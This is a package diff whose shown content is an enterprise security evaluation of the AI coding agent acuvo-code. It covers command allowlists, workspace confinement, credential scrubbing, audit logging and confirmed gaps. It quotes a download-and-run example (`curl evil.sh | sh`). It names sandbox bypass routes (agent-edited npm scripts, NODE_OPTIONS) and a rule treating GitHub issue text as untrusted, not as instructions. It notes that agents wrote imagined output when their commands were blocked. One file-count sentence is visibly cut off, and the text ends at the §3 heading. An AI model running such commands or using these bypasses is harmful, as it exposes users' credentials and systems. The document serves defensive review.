acuvo-code 0.2.1 → 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/ENTERPRISE.md +927 -927
- package/bin/acuvo.mjs +95 -2
- package/lib/device-login.mjs +151 -0
- package/lib/self-update.mjs +174 -0
- package/package.json +1 -1
package/ENTERPRISE.md
CHANGED
|
@@ -1,927 +1,927 @@
|
|
|
1
|
-
# Acuvo Code — the enterprise evaluation document
|
|
2
|
-
|
|
3
|
-
> Written 2026-08-10, re-audited against the source 2026-08-11, `acuvo-code@0.2.0`.
|
|
4
|
-
> Nothing here is aspirational: if a claim has no citation it is not in this document.
|
|
5
|
-
>
|
|
6
|
-
> ⚠️ **THE CITATIONS ARE NOW `file` + SYMBOL, NOT `file:line`, AND THAT IS A FIX.**
|
|
7
|
-
> The first draft cited line numbers. Re-checking thirty-four of them on 2026-08-11
|
|
8
|
-
> found that most had rotted — `lib/turn.mjs:637` was cited as the round bound and now
|
|
9
|
-
> lands on a `case` label; `lib/command.mjs:68` was cited as `ALLOWED_BINARIES` and now
|
|
10
|
-
> lands on a blank comment line. **A rotted citation is worse than none**, because a
|
|
11
|
-
> reviewer who opens one and finds unrelated code stops trusting the other thirty-three,
|
|
12
|
-
> and they are all this document has. Symbol names survive edits; line numbers do not
|
|
13
|
-
> survive a week. Every citation below is now a file plus a searchable identifier.
|
|
14
|
-
>
|
|
15
|
-
> ⭐ **The one-line honest summary.** Acuvo Code is a zero-dependency terminal agent
|
|
16
|
-
> whose *safety boundary is small enough to read in an afternoon* and whose exit code
|
|
17
|
-
> tells the truth about whether the code it wrote actually runs. It is not a sandbox,
|
|
18
|
-
> it has the confirmed defects listed here by name, and there are five categories where
|
|
19
|
-
> Claude Code, Cursor and Copilot beat it outright.
|
|
20
|
-
>
|
|
21
|
-
> **Changed since the first draft, all verified by running it:** an audit log now ships
|
|
22
|
-
> (§2.2/4 was "no audit log"); `--dry-run` and `--no-run` now stop the MCP spawn (half
|
|
23
|
-
> of §3.1); the documented `--max-rounds` and `--max-tokens` defaults were both wrong
|
|
24
|
-
> and are corrected throughout; the README's unscoped credential clause (§3.7) is fixed.
|
|
25
|
-
> **§3.2 was never open by the time this document claimed it was** — the guard had already
|
|
26
|
-
> landed and the audit read the wrong line; corrected in place at §3.2 with the re-measurement.
|
|
27
|
-
>
|
|
28
|
-
> **Closed 2026-08-12, each pinned by a test in `test/enterprise-gaps.test.mjs`:** §3.1
|
|
29
|
-
> (the ordinary-run MCP spawn — consent per config fingerprint, trust store outside the
|
|
30
|
-
> workspace, fails closed with no terminal), §3.3 (`gh` now resolved to an absolute path
|
|
31
|
-
> and the child no longer inherits the API key), §3.4 (the write guard checks every path
|
|
32
|
-
> segment, so a nested `node_modules` is refused), §3.5 (a provider outage is a failed
|
|
33
|
-
> run in the exit code, not only in the audit line), and the model-attribution half of
|
|
34
|
-
> §3.6. **Still open:** the smaller media defects in §3.6, which were not re-audited.
|
|
35
|
-
>
|
|
36
|
-
> If you are a security reviewer, start at §2 and §3. §3 is the list you would have
|
|
37
|
-
> produced yourself; we would rather hand it to you than have you find it.
|
|
38
|
-
|
|
39
|
-
---
|
|
40
|
-
|
|
41
|
-
## 1. Why a large company would run this autonomously
|
|
42
|
-
|
|
43
|
-
Not "AI-powered developer productivity". Five specific jobs, each one a command.
|
|
44
|
-
|
|
45
|
-
### 1.1 Close the issue backlog nobody will staff
|
|
46
|
-
|
|
47
|
-
```bash
|
|
48
|
-
acuvo --issue 4127
|
|
49
|
-
```
|
|
50
|
-
|
|
51
|
-
Reads the GitHub issue, creates `fix/4127-<slug>`, finds the cause, fixes it, runs your
|
|
52
|
-
tests, and **stops at a local branch** (the `--issue` block, `bin/acuvo.mjs`). No push, no pull
|
|
53
|
-
request — it prints the exact `git push` and `gh pr create` for a human to run
|
|
54
|
-
(`nextSteps`, `bin/acuvo.mjs`).
|
|
55
|
-
|
|
56
|
-
⭐ **The stop is the enterprise feature, not a missing one.** An agent that opens PRs
|
|
57
|
-
because it believed it was finished puts model-authored code in front of your reviewers
|
|
58
|
-
under a human's name. `push`, `reset`, `checkout`, `clean`, `rebase` and `merge` are not
|
|
59
|
-
refused — they are *inexpressible*: git is exposed as four structured verbs
|
|
60
|
-
(`git_status`, `git_diff`, `git_log`, `git_commit`) and there is no path from a
|
|
61
|
-
model-authored string to a subcommand it was not given.
|
|
62
|
-
|
|
63
|
-
⚠️ The issue body is treated as untrusted input and quoted to the model as *a report to
|
|
64
|
-
investigate*, never as instructions (`README.md`). Anyone can open an issue on a
|
|
65
|
-
public repo.
|
|
66
|
-
|
|
67
|
-
### 1.2 Fan a mechanical change across a codebase, and refuse to lie about collisions
|
|
68
|
-
|
|
69
|
-
```bash
|
|
70
|
-
acuvo --parallel "migrate the auth tests" "update the deprecated fetch calls" --concurrency 3
|
|
71
|
-
```
|
|
72
|
-
|
|
73
|
-
Bounded concurrency, each task with its own executor over one directory
|
|
74
|
-
(`bin/acuvo.mjs`). The interesting part is not speed — it is that two agents in
|
|
75
|
-
one workspace will eventually write the same file and the second one silently wins.
|
|
76
|
-
Acuvo records what each task wrote, **names any file written by more than one of them**,
|
|
77
|
-
and exits 1 so `acuvo --parallel … && git commit` refuses to proceed
|
|
78
|
-
(`bin/acuvo.mjs`). It does not attempt a merge; two model-authored versions of a file
|
|
79
|
-
cannot be reconciled without a person.
|
|
80
|
-
|
|
81
|
-
### 1.3 Run as a build step, because the exit code is a verdict rather than a mood
|
|
82
|
-
|
|
83
|
-
```bash
|
|
84
|
-
acuvo --json "add a health check" | jq '.verification.passed'
|
|
85
|
-
```
|
|
86
|
-
|
|
87
|
-
One JSON object on stdout, every human line on stderr (`bin/acuvo.mjs`; `toJson`,
|
|
88
|
-
`lib/report.mjs`). `ran` and `passed` are **separate fields** (`toJson`, `lib/report.mjs`) because a test suite that executed and failed is not the same
|
|
89
|
-
thing as one that never ran, and collapsing them is how an agent reports success on a
|
|
90
|
-
red build. The exit code agrees with the printed verdict by construction
|
|
91
|
-
(`sessionFailed`, `lib/turn.mjs`).
|
|
92
|
-
|
|
93
|
-
⚠️ There is one confirmed hole in that contract — a mid-run provider outage. See §3.5.
|
|
94
|
-
|
|
95
|
-
### 1.4 The loop itself: write → run → read the real failure → fix
|
|
96
|
-
|
|
97
|
-
Bounded at **5 rounds** by default, ceiling **16** (`DEFAULT_MAX_ROUNDS` and
|
|
98
|
-
`MAX_ROUNDS_LIMIT`, `lib/cli-args.mjs`), with the cost of every round printed. The bound
|
|
99
|
-
is a cost decision and it is also a capability loss — see §5.2.
|
|
100
|
-
|
|
101
|
-
⭐ **And a round counter is the wrong bound to sell to a finance function anyway**, which is
|
|
102
|
-
why there is now a second one. `--budget <usd>` stops when the *next* round would cross a
|
|
103
|
-
figure you named (`--budget 0.50`, `--budget 25c`, `--budget $2` all parse), and it
|
|
104
|
-
**refuses to start at all if it cannot afford one round** — so it never spends money to
|
|
105
|
-
discover it had none. `--until-done` lets the loop run while the criterion you declared is
|
|
106
|
-
unmet and the budget allows; it **requires `--budget`, and there is no unbounded mode**.
|
|
107
|
-
|
|
108
|
-
⚠️ **This document said 3, and so did the README, and both were wrong.** There are two
|
|
109
|
-
constants named `DEFAULT_MAX_ROUNDS`: `lib/turn.mjs` exports one at **3**, and it is only
|
|
110
|
-
the fallback for a *library* caller that omits `maxRounds`; `lib/cli-args.mjs` exports one
|
|
111
|
-
at **5**, and that is what every CLI invocation actually gets. The docs cited the library
|
|
112
|
-
constant and described the CLI. `acuvo --help` prints 5. `test/docs-truth.test.mjs` now
|
|
113
|
-
fails the suite if the README and the constants diverge again — which is the only fix that
|
|
114
|
-
holds, because this class of error is invisible to every other test in the package.
|
|
115
|
-
|
|
116
|
-
Measured on our own task bench: **$0.00067 per task**, $0.0067 for all ten
|
|
117
|
-
(`MVP-PLAN.md:137`). A heavy user at 100 tasks/day is roughly $2/month of tokens. This
|
|
118
|
-
is a BYOK tool today: it runs on *your* OpenRouter key and we meter nothing
|
|
119
|
-
(`MVP-PLAN.md:151-153`).
|
|
120
|
-
|
|
121
|
-
### 1.5 Two jobs that are not in a terminal coding agent's usual shape
|
|
122
|
-
|
|
123
|
-
⚠️⚠️ **THIS SECTION USED TO BE HEADED "the two jobs no other terminal agent can do at
|
|
124
|
-
all", AND THAT WAS FALSE.** A market sweep on 2026-08-10 established it: Playwright MCP
|
|
125
|
-
and Chrome DevTools MCP are free, first-party and one install away, and some agents ship
|
|
126
|
-
a browser natively. The claim dies the first time your engineer types
|
|
127
|
-
`claude mcp add playwright`, in the middle of an evaluation, in front of the person who
|
|
128
|
-
has to sign. It is struck here rather than softened, because a document whose boldest
|
|
129
|
-
sentence is disprovable in one command has no way to earn back the other forty.
|
|
130
|
-
|
|
131
|
-
- **It can look at what it built, and hand back a verdict rather than a picture.**
|
|
132
|
-
`see_page` (`seePage`, `lib/media.mjs`) renders HTML in a real browser, saves the
|
|
133
|
-
screenshot into your workspace, and returns *measured* findings — invisible text,
|
|
134
|
-
overflow, contrast — ordered so that a console error that stopped the page booting is
|
|
135
|
-
printed first, because it explains everything under it.
|
|
136
|
-
|
|
137
|
-
⭐ **The defensible claim is the return value, not the browser.** A screenshot tool
|
|
138
|
-
hands the model an image and asks it to interpret its own screenshot, which is the
|
|
139
|
-
thing models are worst at. Measured 2026-08-10, one page through a live Playwright MCP
|
|
140
|
-
server against the same page through `see_page`: **3,072 tokens versus 89** — a 34×
|
|
141
|
-
difference, where the small number is the one that already contains the answer. And
|
|
142
|
-
`findingsFrom` (`lib/media.mjs`) **abstains** when it cannot tell rather than inventing
|
|
143
|
-
a finding; on our own pages that abstention removed two false accusations per page.
|
|
144
|
-
|
|
145
|
-
Weight it accurately: this is a software edge a competent developer reproduces in a
|
|
146
|
-
weekend. It buys a head start, not a moat. For an enterprise the value is that the
|
|
147
|
-
accessibility-and-layout regression check stops requiring a human to open a browser —
|
|
148
|
-
and that it costs 89 tokens to run in a loop.
|
|
149
|
-
- **It produces artifacts that are not code.** HTML → PDF / PNG / PPTX (`makeDocument`),
|
|
150
|
-
speech (`speak`), transcription (`transcribe`) — all `lib/media.mjs`. One prompt to a
|
|
151
|
-
real invoice PDF, no coding involved.
|
|
152
|
-
|
|
153
|
-
⚠️ Both are **optional and only offered when their endpoint is configured**
|
|
154
|
-
(`mediaConfig` / `mediaToolNames`, `lib/media.mjs`; `toolNamesForRounds`,
|
|
155
|
-
`lib/tools.mjs`). A tool whose service is absent is never mentioned to the model, so it
|
|
156
|
-
cannot spend a round discovering a dead button. `generate_image` is the exception — it is
|
|
157
|
-
on by default with no configuration, it reaches perchance.org directly, and it uploads the
|
|
158
|
-
image it produced to OpenRouter to be critiqued; all three are disclosed in
|
|
159
|
-
`README.md`. `transcribe` has a live key-name bug against our own worker (§3.6).
|
|
160
|
-
|
|
161
|
-
### 1.6 And the thing that stops us writing an adapter for your stack
|
|
162
|
-
|
|
163
|
-
MCP client support (`lib/mcp.mjs`). Your Linear, your Postgres, your Sentry, your
|
|
164
|
-
internal service — declared in a `.acuvo/mcp.json` or `.mcp.json` you wrote and can review
|
|
165
|
-
(`MCP_CONFIG_FILES`), namespaced as `mcp__<server>__<tool>` so a remote `write_file` can
|
|
166
|
-
never shadow ours (`mcpToolSchemas` / `parseNamespaced`, `lib/mcp.mjs`).
|
|
167
|
-
|
|
168
|
-
⚠️ **This is also the package's most serious defect today.** See §3.1 before you enable it.
|
|
169
|
-
|
|
170
|
-
---
|
|
171
|
-
|
|
172
|
-
## 2. What makes it secure in a way competitors are not — and what it does not protect against
|
|
173
|
-
|
|
174
|
-
The differentiating property is not a feature. It is that **the boundary is small enough
|
|
175
|
-
to verify**. Zero dependencies (`dependencies` and `devDependencies` are both `{}` in
|
|
176
|
-
`package.json`), and the dangerous surface is **six functions in four modules** —
|
|
177
|
-
`validateCommand` and `spawnBounded` (`lib/command.mjs`), `resolveInWorkspace`
|
|
178
|
-
(`lib/workspace.mjs`), `connectServer` (`lib/mcp.mjs`), `evaluateSnippet`
|
|
179
|
-
(`lib/evaluate.mjs`), `runProgram` (`lib/spawn-argv.mjs`). You can read all of it. You
|
|
180
|
-
cannot read Cursor's.
|
|
181
|
-
|
|
182
|
-
⚠️ **This said "four functions in three modules" and it was undercounting by two.**
|
|
183
|
-
`evaluateSnippet` was always missing — that is the §2.1 omission this document already
|
|
184
|
-
corrects below, and the headline sentence had not been updated to match. `runProgram`
|
|
185
|
-
became reachable on 2026-08-11 when `lib/spawn-argv.mjs` was wired into the registry;
|
|
186
|
-
it defers every allowlist decision to `validateCommand` rather than keeping its own
|
|
187
|
-
copy, but it *is* a place a process starts, and this is a list of those. Six and four
|
|
188
|
-
are the numbers to quote. Counting is the first thing a reviewer does.
|
|
189
|
-
|
|
190
|
-
⚠️ **This said "18 shipped files", then "41", then "90", then "101", then "108", and every
|
|
191
|
-
one went stale in turn.** The package ships **
|
|
192
|
-
`bin/` — about
|
|
193
|
-
|
|
194
|
-
⭐ **AND THE 108 WENT STALE IN THE MOST INSTRUCTIVE WAY POSSIBLE: THREE OF THE FILES IT
|
|
195
|
-
MISSED WERE REACHABLE FROM NOTHING.** `wiring-reach.test.mjs` was naming
|
|
196
|
-
`lib/python.mjs`, `lib/cache-floor.mjs` and `lib/plan-coherence.mjs` as importable by no
|
|
197
|
-
entry point — 2,120 lines of complete, tested capability that had not shipped in any sense
|
|
198
|
-
a customer would recognise. A file count that rises while the reachable surface does not is
|
|
199
|
-
exactly the kind of number this section warns about.
|
|
200
|
-
|
|
201
|
-
⚠️ **AND THIS SENTENCE NAMED THE WRONG ALLOWLIST.** It said `files` was `bin/`, `lib/`,
|
|
202
|
-
`README.md`, `LICENSE`, `CHANGELOG.md`. Measured with `npm pack --dry-run`: the real
|
|
203
|
-
allowlist also carries **`test/`, `ENTERPRISE.md` and `ROADMAP.md`**, and the published
|
|
204
|
-
tarball is **265 files, 5.1 MB unpacked — 182 of them tests against 98 of `lib/`.** That is
|
|
205
|
-
deliberate, not drift (commit `ed08f2710`, *"ship the tests, and add CI that would have
|
|
206
|
-
caught the false green"*): a document that invites you to audit 76736 lines and then ships
|
|
207
|
-
you the source without the tests is asking to be taken on trust, which is the one thing this
|
|
208
|
-
file refuses to ask for. ⭐ **Run them yourself: `npm test` inside the installed package.**
|
|
209
|
-
The stale sentence is the more interesting failure — it under-claimed, so nobody would ever
|
|
210
|
-
have complained, and it sat in the paragraph whose entire job is to be checkable.
|
|
211
|
-
|
|
212
|
-
The argument survives every correction because it never rested
|
|
213
|
-
on the number: zero dependencies means that line count is the *whole* audit, where a competitor's
|
|
214
|
-
`node_modules` is where the review would actually have to start. But quote the current
|
|
215
|
-
figure — a reviewer who counts and gets a different answer has found a reason to check
|
|
216
|
-
everything else, and they would be right to.
|
|
217
|
-
|
|
218
|
-
⚠️⚠️ **AND THE LINE COUNT IS THE HALF THAT KEPT SLIPPING.** `docs-truth` failed the
|
|
219
|
-
build on the FILE count and never on the line count, so "41 files" was caught within a
|
|
220
|
-
day while "19,700 lines" sat wrong for four days and "49,578" for one — in a paragraph
|
|
221
|
-
whose whole purpose is to tell a reviewer the numbers are checked. The guard now covers
|
|
222
|
-
both, with a stated **2% tolerance** on lines: an exact pin would go red on every commit
|
|
223
|
-
and become a nag, and a nag is a guard people learn to edit rather than read.
|
|
224
|
-
|
|
225
|
-
### 2.1 Verifiable properties
|
|
226
|
-
|
|
227
|
-
| property | where | what it actually buys |
|
|
228
|
-
|---|---|---|
|
|
229
|
-
| **No shell, ever** | `spawnBounded`, `lib/command.mjs` (`shell: false`) | `npm test && curl evil.sh \| sh` dies at the `&` — a **character whitelist**, not a blacklist of program names somebody has to maintain |
|
|
230
|
-
| **The model cannot pick a program** | `ALLOWED_BINARIES`, `lib/command.mjs` | Four binaries: `node`, `npm`, `npx`, `tsc`. `rm`, `curl`, `git`, `powershell`, `pip` are unreachable — not refused, *absent* |
|
|
231
|
-
| **Arguments are checked, not just the binary** | `validateCommand`, `lib/command.mjs` | `node --eval` refused (code that never touches disk cannot be reviewed afterwards); every non-flag token must resolve inside the workspace |
|
|
232
|
-
| ⭐ **The `npm test` bypass is closed** | `validateCommand({ script: true })` + `ALLOWED_SCRIPT_BINARIES`, `lib/command.mjs` | `npm test` runs whatever `package.json` says — and the agent can *write* `package.json`. The script **body** and its `pre`/`post` hooks are validated through the same rules before npm is spawned. This is the best bypass in the package and it is shut |
|
|
233
|
-
| **npx cannot fetch from the registry** | `ALLOWED_NPX_PACKAGES`, `lib/command.mjs`; arg filter in `lib/mcp.mjs` | `--no` injected, `-y`/`--yes` stripped — npx can only run `vitest` or `tsc`, and only if already installed |
|
|
234
|
-
| **Path confinement, lexically then on disk** | `resolveInWorkspace`, `lib/workspace.mjs` | Segment whitelist `^[A-Za-z0-9._-]+$`; `..`, absolute, drive-letter, UNC and URL forms refused; then `realpath` on the deepest existing ancestor, so a **symlink escape** is caught |
|
|
235
|
-
| **Credentials stripped from every child** | `scrubEnvironment`, `lib/command.mjs` — used by `lib/git.mjs` and `lib/evaluate.mjs` too | `OPENROUTER_API_KEY` and `OPENROUTER_CODEGEN_MODEL` hard-deleted regardless of pattern |
|
|
236
|
-
| **Credential files are never committed** | `NEVER_COMMIT`, `lib/git.mjs` | `.env`, `id_rsa`, `*.pem`, `credentials.json`, `.npmrc`, `.aws/` — *whatever `.gitignore` says*, because history keeps a secret after you delete it |
|
|
237
|
-
| **Commit requires named paths** | `gitToolSchemas`, `lib/git.mjs`; documented in `README.md` § Git | There is no "commit everything". Sweeping up files nobody looked at is how scratch files reach a public repo |
|
|
238
|
-
| **Subdirectory trap refused** | `lib/git.mjs`; documented in `README.md` § Git | Git walks upward; operating from a subdirectory of a larger repo would report and commit the whole outer project. Refused |
|
|
239
|
-
| ⭐ **No tool can add an MCP server** | asserted by test, `test/smoke.test.mjs` | The test greps every registered tool name for anything resembling `connect`/`add_server`. A model that can grant itself capabilities can grant itself anything |
|
|
240
|
-
| **Three verification states, never two** | `runSession` / `sessionFailed`, `lib/turn.mjs`; `toJson`, `lib/report.mjs` | ran-and-passed · ran-and-failed · **never ran**. Collapsing the third into the first is what makes an agent that "ships working code" a liar |
|
|
241
|
-
| **Bounded by construction** | `MAX_ROUNDS_LIMIT` = 64, `lib/cli-args.mjs`; `DEFAULT_COMMAND_TIMEOUT_MS` + output caps, `lib/command.mjs` | An unattended agent cannot spend an unbounded number of paid completions |
|
|
242
|
-
| ⭐ **Bounded in dollars, not just in rounds** | `createBudget` / `canContinue`, `lib/budget.mjs` | `--budget` stops before the round that would cross the figure, and **refuses to start** when it cannot afford one (`reason: "too-small"`) rather than spending to find out. `--until-done` cannot be used without it — there is no unbounded mode |
|
|
243
|
-
| ⭐ **Every run leaves a redacted record** | `recordRun` / `appendAudit` / `redact`, `lib/audit.mjs` | One JSON line per run in `.acuvo/audit/<date>.jsonl`. **New since the first draft** — §2.2/4 used to read "no audit log". See below for exactly what it does and does not capture |
|
|
244
|
-
| **Zero transitive supply chain** | `package.json` | Nothing to audit but this package. Compare against any agent shipping a `node_modules` tree |
|
|
245
|
-
|
|
246
|
-
⚠️ **One property that belongs in this table is missing from it, and the omission was the
|
|
247
|
-
point of the §2.1/§2.2 split:** `evaluate` (`evaluateSnippet`, `lib/evaluate.mjs`) is a
|
|
248
|
-
**second code-execution path that does not pass through `validateCommand` at all.** It
|
|
249
|
-
stages a model-written snippet at the workspace root and spawns `node <file>` directly, so
|
|
250
|
-
rows 2, 3 and 4 of this table — the whole "the model cannot pick a program" argument — do
|
|
251
|
-
not describe it. What *does* apply: `--no-run` withholds the tool, `--dry-run` refuses it,
|
|
252
|
-
and it uses the same `resolveInWorkspace`, the same `spawnBounded` and the same
|
|
253
|
-
`scrubEnvironment`. It cannot do anything `write_file` + `run_command` could not do in two
|
|
254
|
-
calls, which is the honest test — but a security section that enumerates execution paths
|
|
255
|
-
has to enumerate it, and neither this document nor the README did.
|
|
256
|
-
|
|
257
|
-
⚠️ **And a third path landed on 2026-08-11: `run_program`** (`runProgram`,
|
|
258
|
-
`lib/spawn-argv.mjs`), when the last tool-shaped module in the tree was wired into the
|
|
259
|
-
registry. Unlike `evaluate` it does **not** sit outside the allowlist: `ALLOWED_BINARIES`
|
|
260
|
-
is imported rather than re-declared, and every `node` flag before the script path is
|
|
261
|
-
checked by asking `validateCommand` about that single token, so rows 2, 3 and 4 of the
|
|
262
|
-
table above *do* describe it — with one authority and no second copy to drift. It is a
|
|
263
|
-
strict subset of what `run_command` permits on the same machine, because
|
|
264
|
-
`.acuvo/commands.json` can only *add* presets. What is genuinely new: the model supplies
|
|
265
|
-
an **argv array** rather than a string, so `shell: false` plus one-item-per-slot replaces
|
|
266
|
-
the character whitelist as the containment mechanism for arguments. That is stronger for
|
|
267
|
-
arguments (nothing re-parses them) and unchanged for programs. It additionally deletes
|
|
268
|
-
`NODE_OPTIONS` — the flag allowlist's back door, since node reads it before argv — and
|
|
269
|
-
`NODE_TEST_CONTEXT`, which `run_command` does not. `--no-run` and `--dry-run` refuse it at
|
|
270
|
-
the offer *and* at the dispatcher.
|
|
271
|
-
|
|
272
|
-
⭐ **Why it was worth adding a third door:** the string runner was not only a boundary, it
|
|
273
|
-
was a ceiling. `node bin/todo.js add "buy milk"`, `node bin/todo.js list --all` and
|
|
274
|
-
`node --test "test/*.test.mjs"` were all refused, so the agent could not execute the flags
|
|
275
|
-
and arguments it had itself just written — and in three measured probe runs, two responded
|
|
276
|
-
by *documenting imagined output*. A safety control that makes the agent lie about its own
|
|
277
|
-
work has a cost, and it should be counted in the same table as the benefit.
|
|
278
|
-
|
|
279
|
-
### 2.2 What it does NOT protect against — stated plainly
|
|
280
|
-
|
|
281
|
-
⚠️ **It is not a sandbox, and calling it one would be dishonest.** That sentence is in
|
|
282
|
-
the source (`lib/command.mjs`) and in the README under its own heading
|
|
283
|
-
(`README.md`). `node src/thing.js`, where a language model wrote `src/thing.js`
|
|
284
|
-
thirty seconds ago, *is* arbitrary code execution — unavoidably, because running the code
|
|
285
|
-
is the entire point of a fix loop.
|
|
286
|
-
|
|
287
|
-
Specifically, none of the following is defended:
|
|
288
|
-
|
|
289
|
-
1. **The child process can do anything Node can do.** `spawnBounded`
|
|
290
|
-
(`lib/command.mjs`) passes `cwd`, `env`, `shell:false`, `windowsHide`, `stdio`
|
|
291
|
-
— no uid/gid, no chroot, no `--permission`/`--allow-fs-read`. It can read
|
|
292
|
-
`~/.aws/credentials`, `~/.ssh/id_rsa`, `~/.config/gh/hosts.yml` and `fetch()` them
|
|
293
|
-
anywhere.
|
|
294
|
-
2. **The environment scrub is a denylist and says so.** `SECRET_NAME`
|
|
295
|
-
(`lib/command.mjs`) carries its own self-indictment in the comment above it: *"A
|
|
296
|
-
variable called `MY_DB_STRING` would survive. Treat it as one layer, not as the
|
|
297
|
-
boundary."* Measured: `DATABASE_URL`, `REDIS_URL` and `SLACK_WEBHOOK` all survive it.
|
|
298
|
-
3. ✅ **FIXED — the README's credential clause is now scoped.** It read "cannot see your
|
|
299
|
-
credentials", unscoped, where the code comment it summarises is precisely scoped to
|
|
300
|
-
reading API keys out of `process.env`. It now reads "cannot see your credentials **in
|
|
301
|
-
its environment**" and names what the scrub does not reach (`~/.aws/credentials`,
|
|
302
|
-
`~/.ssh`, `~/.config/gh/hosts.yml`, and any variable the pattern misses). Was §3.7.
|
|
303
|
-
4. ✅ **FIXED — there is an audit log.** This item read "No audit log. Everything the
|
|
304
|
-
agent ran is *printed* and nothing is *persisted*. There is no artifact to hand a
|
|
305
|
-
compliance team after the fact." That is no longer true, and here is exactly what is
|
|
306
|
-
now true, **verified by running a real task and reading the file off disk**:
|
|
307
|
-
|
|
308
|
-
Every finished run appends one JSON line to `.acuvo/audit/<date>.jsonl`
|
|
309
|
-
(`recordRun` → `appendAudit`, `lib/audit.mjs`). A real record, unedited:
|
|
310
|
-
|
|
311
|
-
```json
|
|
312
|
-
{"v":1,"id":"2026-08-10T23:17:12.882Z-e75c942c","at":"2026-08-10T23:17:12.882Z",
|
|
313
|
-
"taskSha256":"e75c942c…","run":{"ok":true,"task":"write hello.mjs …",
|
|
314
|
-
"model":{"requested":"deepseek/deepseek-v4-flash-0731","answered":null,"chain":[]},
|
|
315
|
-
"rounds":3,"stoppedBecause":"no-tool-calls",
|
|
316
|
-
"verification":{"ran":true,"passed":true,"command":"evaluate","exitCode":0,"attempts":1},
|
|
317
|
-
"changes":[{"path":"hello.mjs","tool":"write_file","bytes":54,"previousBytes":0,"kind":"created"}],
|
|
318
|
-
"costUsd":0.00067620924,"tokens":17312,"refusals":[],"error":null}}
|
|
319
|
-
```
|
|
320
|
-
|
|
321
|
-
- **What it captures:** the task, a SHA-256 of it, every file changed with byte deltas
|
|
322
|
-
and which tool changed it, the verification verdict with `ran`/`passed` kept
|
|
323
|
-
separate, why the loop stopped, refusals, cost and token count.
|
|
324
|
-
- **What it deliberately does not:** file contents, command output, model prose. The
|
|
325
|
-
text it does keep goes through `redact` (`lib/audit.mjs`) first — verified:
|
|
326
|
-
`sk-or-v1-…` becomes `[redacted:api-key]`, `ghp_…` becomes `[redacted:github-token]`,
|
|
327
|
-
and the list covers private keys, AWS key ids, Slack and Google keys, JWTs, bearer
|
|
328
|
-
headers and URL userinfo.
|
|
329
|
-
- **Bounded:** `MAX_AUDIT_FILES` = 90 and `MAX_AUDIT_TOTAL_BYTES` = 32 MB, so it
|
|
330
|
-
cannot grow without limit in a long-lived workspace.
|
|
331
|
-
- **Opt-out:** `--no-audit`. `--dry-run` writes nothing. Both verified by running them.
|
|
332
|
-
- ⚠️ **Two honest limits.** It is a *per-run* record, not a per-tool-call trace: it
|
|
333
|
-
tells you a file was written and a command verified, not the sequence of everything
|
|
334
|
-
attempted. And it is written into the workspace by the same process, so it is
|
|
335
|
-
evidence for a compliance team, **not** tamper-evident logging — an agent that could
|
|
336
|
-
write your repo could write this file.
|
|
337
|
-
- ⚠️ It also does not close §3.1: the MCP spawn still happens before any record of it.
|
|
338
|
-
5. **No approval gate on destructive acts.** `delete_file` and `write_file` run
|
|
339
|
-
unattended; grepping `bin/` and `lib/` for `approve|confirm|--yes|autoApprove` finds
|
|
340
|
-
only an unrelated MCP argument filter (`lib/mcp.mjs`).
|
|
341
|
-
6. **No operator-facing endpoint override.** `OPENROUTER_URL` is a hardcoded const
|
|
342
|
-
(`lib/model.mjs`) while the model id *is* env-configurable (`OPENROUTER_CODEGEN_MODEL`;
|
|
343
|
-
`buildChain`, `lib/chain.mjs`, even reads `ACUVO_FALLBACK_MODELS`) — so the omission is
|
|
344
|
-
specific, not incidental. Routing through a corporate AI gateway is a one-line code
|
|
345
|
-
change (`fetchImpl` in `lib/model.mjs` and `callImpl` in `lib/chain.mjs` are injectable
|
|
346
|
-
seams) but it is **not a configuration change**.
|
|
347
|
-
7. ~~**No provider pinning.**~~ **⭐ THIS SHIPPED ON 2026-08-14 AND THIS ITEM IS NOW
|
|
348
|
-
WRONG IN THE FAVOURABLE DIRECTION.** It read: *"The request payload (`lib/model.mjs`)
|
|
349
|
-
contains no `provider` key of any kind … this repo exposes none of them."* Verified
|
|
350
|
-
today by reading the source: **`ACUVO_PROVIDER_ORDER`** exists (`lib/model.mjs:545`),
|
|
351
|
-
and when set, a `provider` preference **is** sent with the request
|
|
352
|
-
(`lib/model.mjs:574`, `:580`). The response's `provider` field is read back
|
|
353
|
-
(`:436`) so a run can report **who actually served each round**, and `--json`
|
|
354
|
-
emits it.
|
|
355
|
-
|
|
356
|
-
**What is true now, precisely:** the DEFAULT is still unpinned — with the variable
|
|
357
|
-
unset no `provider` key is sent and OpenRouter routes freely, which is the correct
|
|
358
|
-
default and is what the old sentence was really describing. What changed is that
|
|
359
|
-
**the control now exists and is exposed**, so a reviewer who requires "this model id
|
|
360
|
-
must only ever be served by these upstreams" has a supported answer instead of none.
|
|
361
|
-
|
|
362
|
-
⚠️ **Read as a data-residency control, this is a preference, not a guarantee** —
|
|
363
|
-
verify the enforcement semantics against OpenRouter's own documentation before
|
|
364
|
-
relying on it in a DPA. The honest claim is *"we can express and record an upstream
|
|
365
|
-
preference, and we report who served each round"*, not *"we can restrict where your
|
|
366
|
-
prompt goes"*.
|
|
367
|
-
|
|
368
|
-
⭐ Measured on one identical 4-round task: **46.7% cache hit unpinned vs 95.8%
|
|
369
|
-
pinned**, a 2.4× swing in the bill caused entirely by which upstream served the
|
|
370
|
-
round. So this is a cost control as much as a governance one.
|
|
371
|
-
|
|
372
|
-
⚠️ **Recorded rather than silently edited, per §5.7** — and note the direction: a
|
|
373
|
-
stale *pessimistic* claim tells a buyer we cannot do something we can. That is the
|
|
374
|
-
second time this document has erred that way (see the bundle paragraph in §8).
|
|
375
|
-
8. **No entitlement, metering, SSO or org policy.** BYOK, unmetered.
|
|
376
|
-
9. **Two egress paths a reviewer will want named, neither of them obvious from the CLI's
|
|
377
|
-
description.** `generate_image` is on by default with no configuration: the prompt goes
|
|
378
|
-
to perchance.org (rewritten first, `lib/image-director.mjs`), and the resulting PNG is
|
|
379
|
-
then base64'd into a vision call to OpenRouter to be scored (`critiqueImage`). Both are
|
|
380
|
-
disclosed in `README.md`, and the second is the one that is easy to miss because it
|
|
381
|
-
sends a *file from the workspace*, not a prompt.
|
|
382
|
-
|
|
383
|
-
---
|
|
384
|
-
|
|
385
|
-
## 3. The confirmed gaps, ranked
|
|
386
|
-
|
|
387
|
-
Each of these was verified against source *and reproduced by running it*. Ranked by what
|
|
388
|
-
an enterprise security review would actually block on.
|
|
389
|
-
|
|
390
|
-
